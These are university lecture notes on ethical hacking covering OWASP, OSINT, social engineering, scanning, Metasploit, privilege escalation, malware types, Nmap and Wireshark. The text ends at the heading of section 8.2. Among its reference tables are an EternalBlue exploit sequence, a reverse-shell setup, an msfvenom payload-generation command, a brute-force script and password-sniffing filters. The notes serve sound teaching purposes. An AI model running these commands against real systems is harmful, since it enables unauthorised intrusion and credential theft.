LOK JAGRUTI UNIVERSITY (LJU)

Institute of Engineering & Technology

Department of Computer Engineering / Information Technology

CYBER SECURITY

Lecture Notes — Units 6 to 10

Course Code: 017014791 / 017025791 / 017035791 / 017145791

Course Name: Cyber Security (PEC-II / OEC-II)

Batch: B.E. — Batch 2022

Semester: VII (Semester 7)

Teaching Scheme: L: 5 | T: 0 | P: 2 | Credits: 6 | Total Hours: 40

Prepared by

Pooja Shah

Lecturer, Department of Computer Engineering

LJU — Institute of Engineering & Technology

Content aligned with EC-Council Ethical Hacking Essentials (EHE) curriculum and LJU B.E. Semester VII Syllabus. References drawn from EC-Council official resources, NIST publications, OWASP Foundation, and standard reference textbooks.

TABLE OF CONTENTS

Unit 6: Practical Ethical Hacking — Part 1

- 6.1 Overview of OWASP
- 6.2 OWASP Top 10:2021 — All 10 Risks Explained
- 6.3 Information Gathering Techniques
- 6.4 Reconnaissance vs. Footprinting — Distinction
- 6.5 Social Engineering and OSINT in Hacking
- 6.6 Types, Techniques, and Tools for Scanning
- 6.7 Introduction to the Metasploit Framework

Unit 7: Practical Ethical Hacking — Part 2

- 7.1 Gaining Access and Privilege Escalation
- 7.2 Backdoors and Malware Types
- 7.3 Nmap for Network Scanning
- 7.4 Domain Enumeration Tools

Unit 8: Advanced Tools and Techniques in Ethical Hacking

- 8.1 Wireshark for Packet Analysis
- 8.2 OpenVAS for Vulnerability Scanning
- 8.3 Website Enumeration and OSINT Tools
- 8.4 Firewall Identification Techniques and Commands

Unit 9: Web Application Security in Ethical Hacking

- 9.1 Website Enumeration and Injection Techniques
- 9.2 Burp Suite for Injection Testing
- 9.3 Vulnerability Identification in Web Applications

Unit 10: Staying Safe and Ethical in Ethical Hacking

- 10.1 VPNs, Anonymity, and Safe Practices
- 10.2 Real-World Applications of Ethical Hacking
- 10.3 Ethical Hacking as a Profession and Future Trends

References: Books, Research Papers, and Online Resources

UNIT 6: PRACTICAL ETHICAL HACKING — PART 1

This unit transitions from conceptual foundations to practical offensive security techniques. It introduces OWASP as the global authority on web application security, covers each of the OWASP Top 10:2021 risks with technical precision, distinguishes reconnaissance from footprinting, examines social engineering and OSINT methodologies, and provides an in-depth introduction to the Metasploit Framework — the industry-standard exploitation toolkit.

6.1 Overview of OWASP

The Open Web Application Security Project (OWASP) is a non-profit foundation, established in 2001, dedicated to improving the security of software. OWASP operates as a community-led initiative producing freely available documentation, tools, and research. It is vendor-neutral and independent, ensuring that its guidance reflects collective expertise rather than commercial interests. OWASP's outputs are widely adopted as the industry baseline for web application security education, compliance, and secure development practices.

Source: OWASP Foundation — owasp.org. "OWASP Top Ten Web Application Security Risks." owasp.org/www-project-top-ten [Accessed July 2026]

Key OWASP projects and resources used in ethical hacking and secure development:

- **OWASP Top 10:** A consensus-based awareness document ranking the 10 most critical web application security risks. Updated periodically — current published edition is Top 10:2021; Top 10:2025 was announced at OWASP Global AppSec DC, November 2025.
- **OWASP ZAP (Zed Attack Proxy):** Free, open-source web application security scanner used for automated and manual vulnerability discovery. Actively used in LJU Practical 3.
- **OWASP Juice Shop:** A deliberately vulnerable Node.js web application designed as a training ground for web security testing. Used in LJU Practical 8 with Burp Suite.
- **OWASP DVWA (Damn Vulnerable Web Application):** A PHP/MySQL application with intentional vulnerabilities for safe practice of SQL injection, XSS, CSRF, and command injection.
- **OWASP Testing Guide:** A comprehensive methodology for web application security testing — covers all vulnerability classes with step-by-step testing procedures.
- **OWASP ASVS (Application Security Verification Standard):** A framework of security requirements used to design, build, and test secure web applications and API services.
- **OWASP SAMM (Software Assurance Maturity Model):** Helps organisations evaluate and improve their secure software development practices across the SDLC.

6.2 OWASP Top 10:2021 — All 10 Risks Explained

The OWASP Top 10:2021 is the current official edition, compiled from data contributed by hundreds of organisations covering hundreds of thousands of tested applications. Each category maps to one or more CWE (Common Weakness Enumeration) entries. The data is analysed for incidence rate (the proportion of applications containing at least one instance of the CWE), not frequency of occurrence.

Source: OWASP Foundation, "OWASP Top 10:2021 — Introduction." owasp.org/Top10/2021/A00_2021_Introduction [Accessed July 2026]; PeerJ Computer Science — Table A1. OWASP Top 10:2021. doi.org/10.7717/peerj-cs.2821

Rank	Risk ID	Risk Name	Core Issue	Primary Countermeasure
1	A01:2021	Broken Access Control	Restrictions on authenticated users are not enforced — 94% of applications tested were vulnerable; 318,000+ CWE occurrences. Users access data or functions beyond their permitted scope (IDOR, privilege escalation, CORS misconfiguration).	Enforce server-side access control on every request; implement least privilege; deny access by default; log and alert on access control failures.
2	A02:2021	Cryptographic Failures	Weak, absent, or incorrectly implemented cryptography exposes data in transit or at rest. Formerly 'Sensitive Data Exposure' — name changed to target the root cause rather than symptom.	Use TLS 1.2+ for all transmissions; store passwords using bcrypt/Argon2; disable deprecated ciphers (MD5, SHA-1, DES); enforce HSTS.
3	A03:2021	Injection	Untrusted data is sent to an interpreter (SQL, OS shell, LDAP, NoSQL) as part of a command. Consolidated SQL injection and XSS into one category. Found in 90%+ of sampled applications.	Parameterised queries and prepared statements; input validation and output encoding; OWASP ESAPI; WAF deployment as defence-in-depth.
4	A04:2021	Insecure Design	Security flaws arising from absence of security controls in design — threat modelling not performed; no secure design patterns applied; security is added after-the-fact.	Integrate threat modelling early in SDLC; adopt Secure-by-Design principles; use reference architectures and security design patterns.
5	A05:2021	Security Misconfiguration	Unsafe default settings, unnecessary features enabled, error messages exposing stack traces, cloud storage buckets misconfigured as public. Veracode State of Software Security 2023: 70%+ of newly vulnerable applications had misconfiguration issues.	Automated configuration scanning (IaC security tools); hardened deployment baselines; disable unnecessary ports and services; remove default credentials.
6	A06:2021	Vulnerable and Outdated Components	Use of libraries, frameworks, or OS with known vulnerabilities (CVEs). Attackers actively scan for outdated components using tools like Shodan and Nuclei.	Maintain a Software Bill of Materials (SBOM); use SCA tools (Dependabot, Snyk); patch within defined SLAs; retire unsupported components.

Rank	Risk ID	Risk Name	Core Issue	Primary Countermeasure
7	A07:2021	Identification and Authentication Failures	Weak passwords permitted; credential stuffing not prevented; sessions not invalidated on logout; insecure session token generation; missing MFA.	Enforce MFA; implement account lockout and rate limiting; use secure session management (HttpOnly, Secure cookie flags); invalidate tokens on logout.
8	A08:2021	Software and Data Integrity Failures	Code or data from untrusted sources loaded without integrity verification — insecure CI/CD pipelines, unsigned software updates, deserialisation of untrusted data.	Verify digital signatures on all software updates; use SLSA framework for supply chain security; avoid deserialisation of untrusted data; review CI/CD pipeline access controls.
9	A09:2021	Security Logging and Monitoring Failures	Insufficient logging means breaches go undetected. Average breach dwell time in 2024 exceeded 200 days (IBM Cost of a Data Breach 2024) — largely attributable to poor visibility.	Log all authentication events, access control failures, and input validation failures; forward logs to a SIEM; define and test incident response playbooks.
10	A10:2021	Server-Side Request Forgery (SSRF)	A web application fetches a remote resource based on user-supplied input without validating the URL — attacker forces the server to make requests to internal services or cloud metadata APIs.	Validate and sanitise all client-supplied URLs; enforce allowlists for permitted URLs; disable HTTP redirects; segment internal services from the application tier.

6.3 Information Gathering Techniques

Information gathering is the systematic collection of data about a target prior to any exploitation attempt. It feeds both the Reconnaissance and Scanning phases of the ethical hacking lifecycle. The quality of information gathered directly determines the precision of subsequent attack vectors.

6.3.1 Passive Information Gathering

Passive techniques involve no direct interaction with the target's systems. All data is collected from publicly available sources, leaving no trace on the target's logs.

- **WHOIS lookup:** Retrieves domain registration details — registrant name, email, organisation, registrar, nameservers, creation and expiry dates. Command: whois target.com
- **DNS Enumeration:** Extracts DNS records (A, AAAA, MX, NS, TXT, CNAME, SOA) to map the target's infrastructure. Tools: dig, nslookup, dnsenum, dnsrecon.
- **Google Dorks:** Advanced Google search operators that surface exposed sensitive content — site:, filetype:, inurl:, intitle:, cache:. Example: site:target.com filetype:pdf 'confidential' returns publicly indexed PDF documents marked confidential.
- **Shodan:** A search engine that indexes internet-exposed devices and services by scanning banners. Reveals exposed services, software versions, geographic distribution, and default credentials.

- **theHarvester:** Aggregates emails, subdomains, hosts, and IPs from public sources including Google, Bing, LinkedIn, and certificate transparency logs.
- **Certificate Transparency (crt.sh):** Public logs of all SSL/TLS certificates issued. Reveals subdomains and internal infrastructure names included in SAN fields.
- **OSINT Framework:** A curated directory of OSINT tools organised by information type (people, domains, IP addresses, social networks). osintframework.com
- **Social Media OSINT:** LinkedIn reveals employee names, roles, and technical stack; Twitter/X reveals real-time information; GitHub exposes source code, credentials in commits.

6.3.2 Active Information Gathering

Active techniques involve direct interaction with the target and will appear in its logs. These must only be performed with written authorisation.

- **Port scanning (Nmap):** Actively probes TCP/UDP ports to identify open services.
- **Service version detection:** Queries open ports to retrieve service banners identifying exact software versions for CVE matching.
- **OS fingerprinting:** Analyses TCP/IP stack behaviour to determine the target's OS.
- **DNS zone transfer attempt:** Requests a full copy of a DNS zone — misconfigured DNS servers return all records, revealing the complete internal subdomain map.
- **SMTP enumeration (VRFY / EXPN commands):** Identifies valid email addresses and user accounts on mail servers that respond to these legacy SMTP commands.
- **SNMP enumeration:** Queries SNMP-enabled devices with default community strings 'public' and 'private' to extract interface details, routing tables, and running processes.

6.4 Reconnaissance vs. Footprinting — Distinction

The terms 'reconnaissance' and 'footprinting' are often used interchangeably, but EC-Council draws a precise distinction between them in the CEH and EHE curricula.

Source: EC-Council, CEH v13 Official Courseware — Module 02: Footprinting and Reconnaissance; LJU Semester VII Syllabus — Unit 6.4

Reconnaissance	Footprinting
The broad, overarching phase of intelligence collection prior to any offensive action	A specific sub-category of reconnaissance focused on mapping the target's network topology, IP ranges, domain structure, and system information
Encompasses both passive OSINT (Google Dorks, theHarvester, LinkedIn) and active probing	Primarily passive — performed without direct system contact to avoid triggering IDS/IPS alerts
Goal: obtain the widest possible understanding of the target environment, including people, processes, and technology	Goal: construct a precise map of the digital footprint — IP blocks, domains, employee names, technologies in use
Output: a comprehensive intelligence dossier on the target organisation	Output: a network map, domain hierarchy, and a list of identified technologies and entry points

Reconnaissance	Footprinting
Includes DNS enumeration, SMTP enumeration, SNMP enumeration, and social engineering reconnaissance	Focuses on WHOIS, DNS zone transfer, BGP route advertisement analysis, and web server fingerprinting
In the EC-Council kill chain, reconnaissance is the entire Phase 1 activity	Footprinting is a subset within Phase 1 — it is the technical mapping component of reconnaissance
Analogous to a military intelligence operation surveilling an entire city	Analogous to drawing the detailed blueprint of a specific building within that city

6.5 Social Engineering and OSINT in Hacking

Social engineering exploits the human element of security — leveraging psychological manipulation to cause individuals to divulge confidential information or perform actions that compromise security. It is consistently identified as the most effective initial attack vector because it bypasses technical controls entirely.

Source: EC-Council, EHE — Module 06: Social Engineering Techniques and Countermeasures. iclass.eccouncil.org/our-courses/ethical-hacking-essentials

6.5.1 Social Engineering Techniques

Technique	Mechanism	Example
Phishing	Mass email impersonating a trusted entity to steal credentials or deliver malware	Email appearing to come from HR directing employees to a fake VPN login portal
Spear Phishing	Targeted phishing using personalised information about the victim	Email addressed by name, referencing the victim's manager and a current project
Vishing (Voice Phishing)	Phone call impersonating IT support, bank, or authority figure	Caller claiming to be from IT help desk requesting the target's password for an 'urgent fix'
SMiShing (SMS Phishing)	Fraudulent SMS messages containing malicious links or requests	Fake bank SMS alerting the recipient to 'unusual activity' with a link to a spoofed site
Pretexting	Creating a fabricated scenario (pretext) to extract information	Attacker poses as a new employee needing help with 'system access' to learn network details
Baiting	Leaving infected physical media (USB drives) in locations the target will find them	USB drive labelled 'Q3 Salary Review' left in a company car park or reception area
Quid Pro Quo	Offering a service or benefit in exchange for information or access	Calling employees posing as IT support offering free software upgrades in exchange for credentials
Tailgating / Piggybacking	Following an authorised person through a secure physical access point	Attacker waits at a badge-access door and follows an employee inside while carrying boxes
Watering Hole Attack	Infecting websites frequently visited by the target group	Compromising an industry forum frequently visited by engineers at the target organisation

6.5.2 OSINT (Open Source Intelligence)

OSINT is the systematic collection, processing, and analysis of publicly available information to produce actionable intelligence about a target. In ethical hacking, OSINT feeds both social engineering campaigns and technical reconnaissance.

- **Maltego:** A graphical OSINT and link-analysis tool that maps relationships between people, organisations, domains, IP addresses, and social accounts using 'transforms'.
- **Mitaka:** A browser extension that performs OSINT lookups on selected text — IPs, domains, hashes, CVEs — across multiple threat intelligence databases simultaneously.
- **Recon-ng:** A full-featured web reconnaissance framework built in Python with modules for WHOIS, DNS, Shodan, LinkedIn, and GitHub enumeration.
- **SpiderFoot:** Automated OSINT tool with 200+ modules that aggregates intelligence from over 100 public data sources.
- **OSINT Framework (osintframework.com):** A curated, categorised directory of OSINT tools covering people, domains, IP, email, social networks, and dark web sources.

6.6 Types, Techniques, and Tools for Scanning

Scanning is Phase 2 of the ethical hacking lifecycle. It involves actively probing identified targets to determine exploitable entry points — open ports, running services, OS versions, and known vulnerabilities.

Scan Type	Purpose	Key Tool	Important Notes
Network Scanning	Identify live hosts in a network range	Nmap (-sn), Angry IP Scanner	ICMP ping sweep may be blocked by firewalls; use TCP probe alternatively
Port Scanning	Determine open TCP/UDP ports on live hosts	Nmap (-sS, -sT, -sU)	SYN scan is stealthier; UDP scan is slower and less reliable
Service Version Scanning	Identify exact software and version on each open port	Nmap (-sV)	Essential for CVE matching — software version determines exploitability
OS Fingerprinting	Determine the target's operating system via TCP/IP stack analysis	Nmap (-O), Xprobe2	Passive fingerprinting uses Wireshark to analyse traffic without sending probes
Vulnerability Scanning	Identify known CVEs and misconfigurations in discovered services	OpenVAS, Nessus, Nikto (web)	Produces a prioritised vulnerability report with CVSS scores
Enumeration	Extract detailed system information from open services	enum4linux, SNMPwalk, NBTscan	Enumeration follows scanning — focuses on extracting usernames, shares, and policies
Web Application Scanning	Identify OWASP Top 10 vulnerabilities in web applications	OWASP ZAP, Nikto, WPScan	Nikto is non-stealthy — generates significant server logs

6.7 Introduction to the Metasploit Framework

The Metasploit Framework is the world's most widely used open-source penetration testing framework. Originally created by H.D. Moore in 2003 and now maintained by Rapid7, Metasploit provides a modular architecture that separates exploit code from payload delivery, enabling any compatible payload to be paired with any exploit.

Source: EC-Council, "How to Use the Metasploit Framework for Penetration Testing." eccouncil.org/cybersecurity-exchange/penetration-testing/metasploit-framework-for-penetration-testing; EC-Council, "Metasploit Framework Guide." eccouncil.org/cybersecurity-exchange/ethical-hacking/metasploit-framework-guide

As of Metasploit Framework 6.4 (released March 2024, per Rapid7), the framework contains over 2,300 exploit modules, 600+ auxiliary modules, and 500+ payload options. In 2024 alone, 165 new modules were added by 62 contributors.

Source: Rapid7, Metasploit Framework 2024 Annual Wrap-up — rapid7.com/blog

6.7.1 Metasploit Module Architecture

Module Type	Function	Example
Exploit Modules	Contain the code that triggers a specific vulnerability in a target system, service, or application. Each exploit targets one specific CVE or vulnerability class.	exploit/windows/smb/ms17_010_eternalblue — exploits the EternalBlue vulnerability (CVE-2017-0144) in Windows SMBv1 (used in WannaCry ransomware)
Payload Modules	Define what happens after the exploit succeeds — the code delivered and executed on the compromised system. Payloads can be singles, stagers, or stages.	windows/x64/meterpreter/reverse_tcp — establishes a Meterpreter reverse TCP shell from the compromised Windows host back to the attacker
Auxiliary Modules	Non-exploit functionality — port scanners, service enumerators, brute-force tools, protocol fuzzers, and denial-of-service testers. Used in reconnaissance and enumeration.	auxiliary/scanner/smb/smb_ms17_010 — checks whether a host is vulnerable to EternalBlue without exploiting it
Post Modules	Operate after initial compromise — credential harvesting, privilege escalation, lateral movement, persistence, and data exfiltration.	post/windows/gather/hashdump — extracts password hashes from the Windows SAM database for offline cracking
Encoder Modules	Transform payloads to evade antivirus signatures by obfuscating known byte patterns. Effectiveness is reduced against modern behavioural detection.	encoder/x86/shikata_ga_nai — a polymorphic XOR additive feedback encoder that alters payload signature on each generation
Evasion Modules	Generate payloads specifically designed to bypass endpoint protection — applying multi-layer obfuscation, encryption, and anti-analysis techniques.	evasion/windows/applocker_evasion_install_util — bypasses AppLocker application whitelisting using a trusted Windows binary

Module Type	Function	Example
NOP Modules	Generate no-operation (NOP) sleds used to pad exploits and improve reliability by providing a landing zone for the instruction pointer.	nop/x86/single_byte — generates single-byte NOP instructions for x86 targets

6.7.2 Essential Metasploit Console Commands

Command	Function
msfconsole	Launch the Metasploit Framework interactive console
search type:exploit name:smb	Search modules by type and keyword
use exploit/windows/smb/ms17_010_eternalblue	Select a specific exploit module
show options	Display all configurable parameters for the selected module
set RHOSTS 192.168.1.10	Set the target host IP address
set LHOST 192.168.1.5	Set the attacker's IP (for reverse shell payloads)
set LPORT 4444	Set the listening port for incoming reverse connections
set PAYLOAD windows/x64/meterpreter/reverse_tcp	Select and attach a payload
run / exploit	Execute the configured exploit against the target
sessions -l	List all active Meterpreter/shell sessions
sessions -i 1	Interact with session number 1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=4444 -f exe -o payload.exe	Generate a standalone payload binary using msfvenom (standalone payload generator)

UNIT 7: PRACTICAL ETHICAL HACKING — PART 2

This unit covers the post-exploitation phases of the ethical hacking lifecycle in detail. It examines methods for gaining access and escalating privileges, the taxonomy of backdoors and malware, advanced Nmap scanning techniques, and domain enumeration tools used to extract critical intelligence about target organisations.

7.1 Gaining Access and Privilege Escalation

Gaining access is Phase 3 of the ethical hacking lifecycle. It represents the moment when a vulnerability is successfully exploited to achieve an initial foothold in the target environment. Privilege escalation is the subsequent act of elevating that initial (typically low-privilege) access to higher privilege levels — ultimately targeting administrative or root access.

Source: EC-Council, EHE — Module 04: Ethical Hacking Phases (Gaining Access and Privilege Escalation). iclass.eccouncil.org/our-courses/ethical-hacking-essentials

7.1.1 Methods for Gaining Initial Access

- **Exploitation of known CVEs:** Using Metasploit or custom exploits to leverage unpatched vulnerabilities in services (EternalBlue MS17-010 for SMBv1, Log4Shell CVE-2021-44228 for Java-based services).
- **Password-based attacks:** Brute-force, dictionary attacks using Hydra or Medusa, credential stuffing using leaked credential databases, and rainbow table attacks against captured NTLM hashes.
- **Phishing and credential harvesting:** Social Engineering Toolkit (SET) used to clone legitimate login pages and capture submitted credentials.
- **SQL injection to RCE:** Exploiting SQL injection vulnerabilities on MSSQL servers to enable xp_cmdshell and execute OS-level commands.
- **File upload vulnerabilities:** Uploading PHP, JSP, or ASPX web shells through unrestricted file upload endpoints in web applications.
- **Client-side attacks:** Delivering malicious documents (macro-enabled .docx, .xlsx, .pdf) via email that execute payloads when opened by the target user.
- **Unprotected remote services:** Exploiting exposed RDP (port 3389), Telnet (23), or SSH (22) with weak or default credentials.

7.1.2 Privilege Escalation

Privilege escalation transforms a low-privilege initial foothold into administrative control. EC-Council distinguishes two categories:

Vertical Privilege Escalation	Horizontal Privilege Escalation
Elevating privileges from a standard user account to a higher-privilege account on the same system (e.g., user → Administrator or user → root)	Moving laterally from one standard user account to another standard user account, typically to access data or resources belonging to a different user

Vertical Privilege Escalation	Horizontal Privilege Escalation
Primary goal: obtain administrative or root access on the compromised system	Primary goal: access sensitive data or resources belonging to another user without changing privilege level
Common techniques: SUID binary exploitation, sudo misconfigurations (sudo -l), kernel exploits (Dirty COW CVE-2016-5195), DLL hijacking on Windows, token impersonation (SeImpersonatePrivilege), unquoted service path exploitation	Common techniques: session token theft, credential reuse, accessing unprotected shared files, exploiting IDOR vulnerabilities in multi-user applications
Detection: monitoring for unexpected privilege changes, new accounts in admin groups, or execution of known escalation binaries (whoami, id, sudo)	Detection: monitoring for access to other users' home directories, cross-account API calls, or session tokens used from anomalous IP addresses

7.2 Backdoors and Malware Types

Malware (malicious software) is any software designed to disrupt, damage, or gain unauthorised access to computer systems. Understanding malware taxonomy is essential for both ethical hackers (who simulate deployment) and defenders (who must detect and remove it). EC-Council's EHE Module 03 provides the authoritative taxonomy used in this section.

Source: EC-Council, EHE — Module 03: Malware Threats and Countermeasures. iclass.eccouncil.org/our-courses/ethical-hacking-essentials; LJU Syllabus — Practical 9: Exploiting Backdoors and Malware Simulation (Metasploit)

Malware Type	Mechanism	Notable Characteristic	Example
Virus	Attaches to legitimate executable files; replicates when the infected file is executed	Requires a host file; spreads when the infected file is shared or executed	CIH (Chernobyl) virus — overwrites first megabyte of hard disk on April 26th
Worm	Self-replicating — spreads across networks without requiring human action or a host file	No host file required; exploits network vulnerabilities to propagate autonomously	WannaCry ransomware worm — exploited EternalBlue (MS17-010) to infect 200,000+ systems in 2017
Trojan Horse	Disguises itself as legitimate software while performing malicious actions in the background	Does not self-replicate; relies on social engineering to induce the user to execute it	DarkComet RAT — disguised as a gaming tool; provided attacker with full remote control
Ransomware	Encrypts victim's files and demands payment (typically cryptocurrency) for the decryption key	Most financially damaging malware category; often delivered via phishing or RDP exploitation	LockBit 3.0 — disrupted hospitals, critical infrastructure across 100+ countries (2022–2024)

Malware Type	Mechanism	Notable Characteristic	Example
Rootkit	Embeds itself in the OS kernel or bootloader; hides malware presence from the OS and security tools	Operates at ring 0 (kernel level); extremely difficult to detect and remove without offline scanning	Azazel — user-mode rootkit hiding processes and network connections via LD_PRELOAD hook on Linux
Spyware	Covertly monitors user activity, keystrokes, screenshots, and transmits data to attacker	Usually installed without user knowledge; may arrive bundled with free software (adware bundles)	Pegasus — nation-state spyware targeting mobile devices; exploited zero-click iOS vulnerabilities
Keylogger	Records all keystrokes on the compromised system and transmits them to the attacker	May be hardware (physical device inserted between keyboard and system) or software-based	Software: Revealer Keylogger; Hardware: KeyGrabber — plugs into USB/PS2 port
Adware	Displays unwanted advertisements; may also function as spyware collecting browsing data	Often installed alongside free software without clear disclosure	Superfish — pre-installed by Lenovo; intercepted HTTPS traffic via a self-signed root CA
Backdoor / RAT	Provides persistent covert remote access to the compromised system	May be installed by Trojans, rootkits, or directly during exploitation	Meterpreter (ethical hacking), Gh0st RAT (malicious), DarkComet
Fileless Malware	Operates entirely in memory — loads into RAM from a legitimate process; never writes to disk	Evades signature-based antivirus; uses living-off-the-land binaries (LOLBins) like PowerShell	Cobalt Strike in-memory beacons; PowerShell Empire C2 framework
Logic Bomb	Malicious code embedded in legitimate software that executes when a specific condition is met (date, event, or action)	Remains dormant until trigger condition is met; extremely difficult to detect before activation	A dismissed employee's time-delayed script that deletes critical database records post-termination

7.3 Nmap for Network Scanning — Advanced Usage

Nmap (Network Mapper) is the definitive tool for network discovery and security auditing. This section extends the foundational Nmap commands from Unit 3 with advanced scanning techniques, NSE (Nmap Scripting Engine) usage, and output formats used in professional penetration testing reports.

Source: Nmap Official Documentation — nmap.org/docs.html

7.3.1 Nmap Scan Types — Technical Reference

Scan Type	Flag	Mechanism	Use Case
TCP SYN (Stealth) Scan	-sS	Sends SYN; receives SYN-ACK (open) or RST (closed); sends RST without completing handshake — avoids full connection logging	Default scan type for root users; reduces detection footprint
TCP Connect Scan	-sT	Completes full three-way handshake; detectable in application logs; used when raw socket access is unavailable	Non-root users; Windows Nmap; when SYN scan is not possible
UDP Scan	-sU	Sends UDP probe; open ports may not respond; ICMP 'port unreachable' = closed; no response = open or filtered	Discover UDP services: DNS (53), SNMP (161), DHCP (67/68), TFTP (69), NTP (123)
Idle / Zombie Scan	-sI	Uses a third-party idle host (zombie) to relay scan probes; attacker's IP never reaches the target	Completely stealthy scanning using an idle host with predictable IP ID sequence
FIN / XMAS / NULL Scans	-sF / -sX / -sN	Sends TCP packets with unusual flag combinations; RFC-compliant systems: no response = open/filtered; RST = closed. Evades some stateless packet filters.	Firewall evasion against non-stateful packet filters on Unix/Linux targets
ACK Scan	-sA	Sends TCP ACK packet; RST = unfiltered (firewall allows); no response = filtered. Does not determine whether ports are open.	Mapping firewall rulesets — determines which ports are filtered vs. unfiltered
Version Detection	-sV	Probes open ports with service-specific payloads to identify software name and version	Essential for CVE matching — prerequisite to targeted exploitation
Aggressive Scan	-A	Combines -O (OS detection), -sV (version), -sC (default scripts), --traceroute in one scan	Comprehensive scan for lab environments; generates significant traffic and logs

7.3.2 NSE — Nmap Scripting Engine

The Nmap Scripting Engine (NSE) allows Nmap to execute Lua scripts against targets. NSE scripts are categorised as: auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln.

- **nmap --script vuln <target>** — Run all vulnerability-detection scripts
- **nmap --script smb-vuln-ms17-010 <target>** — Check specifically for EternalBlue vulnerability
- **nmap --script http-enum <target>** — Enumerate web server directories and files
- **nmap --script ftp-anon <target>** — Test for anonymous FTP login access
- **nmap --script banner <target>** — Retrieve service banners from all open ports
- **nmap --script ssh-brute <target>** — Perform SSH credential brute-force (intrusive; requires authorisation)

7.4 Domain Enumeration Tools

Domain enumeration extracts detailed technical intelligence about a target's domain infrastructure — subdomains, associated IP ranges, mail servers, and web technologies. These tools operate in the reconnaissance phase and produce intelligence that directly feeds attack surface mapping.

Source: LJU Semester VII Syllabus — Unit 7.4: Domain Enumeration Tools (Whois, Mitaka, etc.)

Tool	Type	Function	Key Command / Usage
Whois	Passive OSINT	Queries domain registration databases for registrant, registrar, nameservers, and contact information	whois target.com — returns full WHOIS record; useful for identifying admin contact emails
Mitaka	Browser OSINT Extension	Multi-source threat intelligence lookup — highlights IPs, domains, file hashes, and CVEs in browser for instant cross-platform lookup	Right-click selected text → Mitaka → search across VirusTotal, Shodan, Censys, and more
dnsenum	Active DNS Enumeration	Comprehensive DNS enumeration — MX, NS, A records, zone transfer attempts, subdomain brute-force via wordlist	dnsenum target.com --dnsserver 8.8.8.8 -f /usr/share/wordlists/subdomains.txt
Sublist3r	Passive Subdomain Enumeration	Aggregates subdomains from multiple public sources: Google, Bing, Baidu, Yahoo, Netcraft, VirusTotal, ThreatCrowd, DNSdumpster, ReverseDNS	python sublist3r.py -d target.com -o output.txt
Amass	Active + Passive Recon	ASN enumeration, certificate transparency, DNS brute-force, and passive OSINT — produces detailed attack surface map	amass enum -d target.com -o results.txt
dnsrecon	Active DNS Recon	Enumerates DNS records, performs zone transfer, cache snooping, and reverse lookup on IP ranges	dnsrecon -d target.com -t axfr (zone transfer); dnsrecon -d target.com -t brt (brute-force)
crt.sh	Passive Certificate Transparency	Queries public certificate logs for all SSL/TLS certificates issued for a domain — reveals subdomains in SANs	Browser: crt.sh/?q=%25.target.com — returns all certificates matching the domain wildcard
theHarvester	Passive OSINT	Aggregates emails, subdomains, hosts, IPs from Google, Bing, LinkedIn, Shodan, certificate transparency logs	theHarvester -d target.com -b all -l 500

UNIT 8: ADVANCED TOOLS AND TECHNIQUES IN ETHICAL HACKING

This unit covers four advanced toolsets used in professional ethical hacking engagements: Wireshark for deep packet inspection and traffic analysis, OpenVAS for comprehensive vulnerability scanning, web server and OSINT enumeration tools, and firewall identification techniques. Mastery of these tools is required for Practicals 4, 7, and 10 of the LJU Semester VII curriculum.

8.1 Wireshark for Packet Analysis

Wireshark is the world's most widely used open-source network protocol analyser. It captures packets transmitted over network interfaces in real time and provides deep inspection of protocol structures across all OSI layers. Wireshark uses protocol dissectors — specialised translation modules — to decode hundreds of protocols from raw bytes into human-readable field-level detail.

Source: Wireshark Foundation — wireshark.org/docs; WebAsha Technologies — "Mastering Wireshark Filters." webasha.com/blog (June 2025)

8.1.1 How Wireshark Captures Packets

Wireshark places the selected network interface card (NIC) into promiscuous mode. In this mode, the NIC captures all packets traversing the network segment — not only those addressed to the local MAC address. On a switched network, promiscuous mode alone captures only unicast traffic sent to or from the capture host. To capture traffic between other hosts on a switched LAN, ARP poisoning or port mirroring (SPAN port) must be employed.

8.1.2 Wireshark Interface Panes

- **Packet List Pane:** One row per captured packet — time, source IP, destination IP, protocol, length, and brief info summary.
- **Packet Details Pane:** Expandable tree of all protocol layers in the selected packet (Ethernet frame → IP header → TCP segment → application payload).
- **Packet Bytes Pane:** Raw hexadecimal and ASCII representation of the selected packet's bytes.

8.1.3 Essential Wireshark Display Filters

Display filters are applied after capture to isolate specific packets for analysis. They use Wireshark's own filter syntax and support boolean operators (&&, ||, !) and comparison operators (==, !=, contains, matches).

Display Filter Expression	Packets Shown
http	All HTTP traffic (clear-text web requests and responses)
http.request.method == "POST"	HTTP POST requests only — often contain form data, credentials, file uploads
dns	All DNS queries and responses — useful for C2 beacon detection and DNS tunnelling

Display Filter Expression	Packets Shown
tcp.flags.syn == 1 && tcp.flags.ack == 0	TCP SYN packets only — identifies connection initiation attempts (port scan detection)
tcp.flags.syn == 1 && tcp.flags.ack == 1	TCP SYN-ACK packets — confirms which ports responded as open
ip.addr == 192.168.1.10	All traffic involving IP address 192.168.1.10 as source or destination
ip.src == 192.168.1.10 && ip.dst == 192.168.1.20	Traffic between two specific hosts (bidirectional)
tcp.port == 445	All traffic on port 445 (SMB) — monitor for lateral movement or SMB exploitation
arp	All ARP packets — detect ARP poisoning by identifying multiple MAC addresses for one IP
icmp	All ICMP traffic — detect ping sweeps (ICMP echo request flood from one source)
ftp || ftp-data	All FTP control and data traffic — credentials transmitted in plaintext on port 21
tls	TLS handshake and encrypted traffic — inspect certificate details, cipher suites negotiated
tcp contains "password"	TCP packets whose payload contains the string 'password' — credential sniffing
frame.len > 1400	Packets larger than 1400 bytes — useful for detecting large data exfiltration transfers

8.1.4 Ethical Hacking Use Cases for Wireshark

- **Credential harvesting on plaintext protocols:** Capturing usernames and passwords transmitted in clear text over HTTP, FTP, SMTP (port 25), Telnet, and POP3 (port 110).
- **ARP poisoning detection:** Identifying gratuitous ARP replies where multiple ARP responses claim different MAC addresses for the same IP — signature of ARP spoofing attacks.
- **DNS tunnelling detection:** Abnormally long DNS query strings, high-frequency DNS requests, or requests for non-existent domains indicate data exfiltration via DNS.
- **Port scan identification:** A burst of TCP SYN packets from one source to many destination ports within a short time window is characteristic of Nmap SYN scanning.
- **Malware C2 traffic analysis:** Periodic outbound connections to unusual external IPs at regular intervals (beaconing) indicate C2 communication from an infected host.
- **Network protocol analysis (Practical 4):** Capturing HTTP, DNS, TCP, and ARP packets on a local network to observe protocol interactions and identify cleartext content.

8.2 OpenVAS for Vulnerability Scanning

